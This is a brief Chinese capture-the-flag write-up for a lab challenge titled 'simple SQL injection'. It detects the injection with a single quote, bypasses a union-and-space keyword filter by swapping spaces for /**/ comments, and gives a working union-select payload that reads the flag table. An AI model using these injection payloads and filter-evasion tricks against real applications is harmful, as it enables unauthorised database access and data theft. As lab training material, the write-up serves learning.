实验吧 简单的sql注入

题目如下

image.png
  1. 首先简单判断是否存在sql注入
    输入1,显示ID:1,name:baloteli
    输入1',显示You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1
    说明存在sql注入漏洞。
  2. 判断过滤掉了什么
    输入1 and 1=1或者union 1=1,回显ID: 1 1=1,说明过滤了and ,union ,这些关键字。主要是通过union+space过滤,而空格可以写成/**/来代替
  3. 构造payload
    显然我们要从一个表中获取flag值,猜测表名和列名都是flag,查询语句应为:
    select flag from flag
    猜测原来的SQL查询语句为:
    "select * from table where id= '$id' " (这个查询只是象征性的表示一下)
    那么构造的payload应该为:
1' union select flag from flag where '1'='1
# 空格换为/**/
1' union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1
# 整体来看
"  select * from tables where id= '1' union select flag from flag where '1'='1'   "

最终就爆出了flag的值。


image.png
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。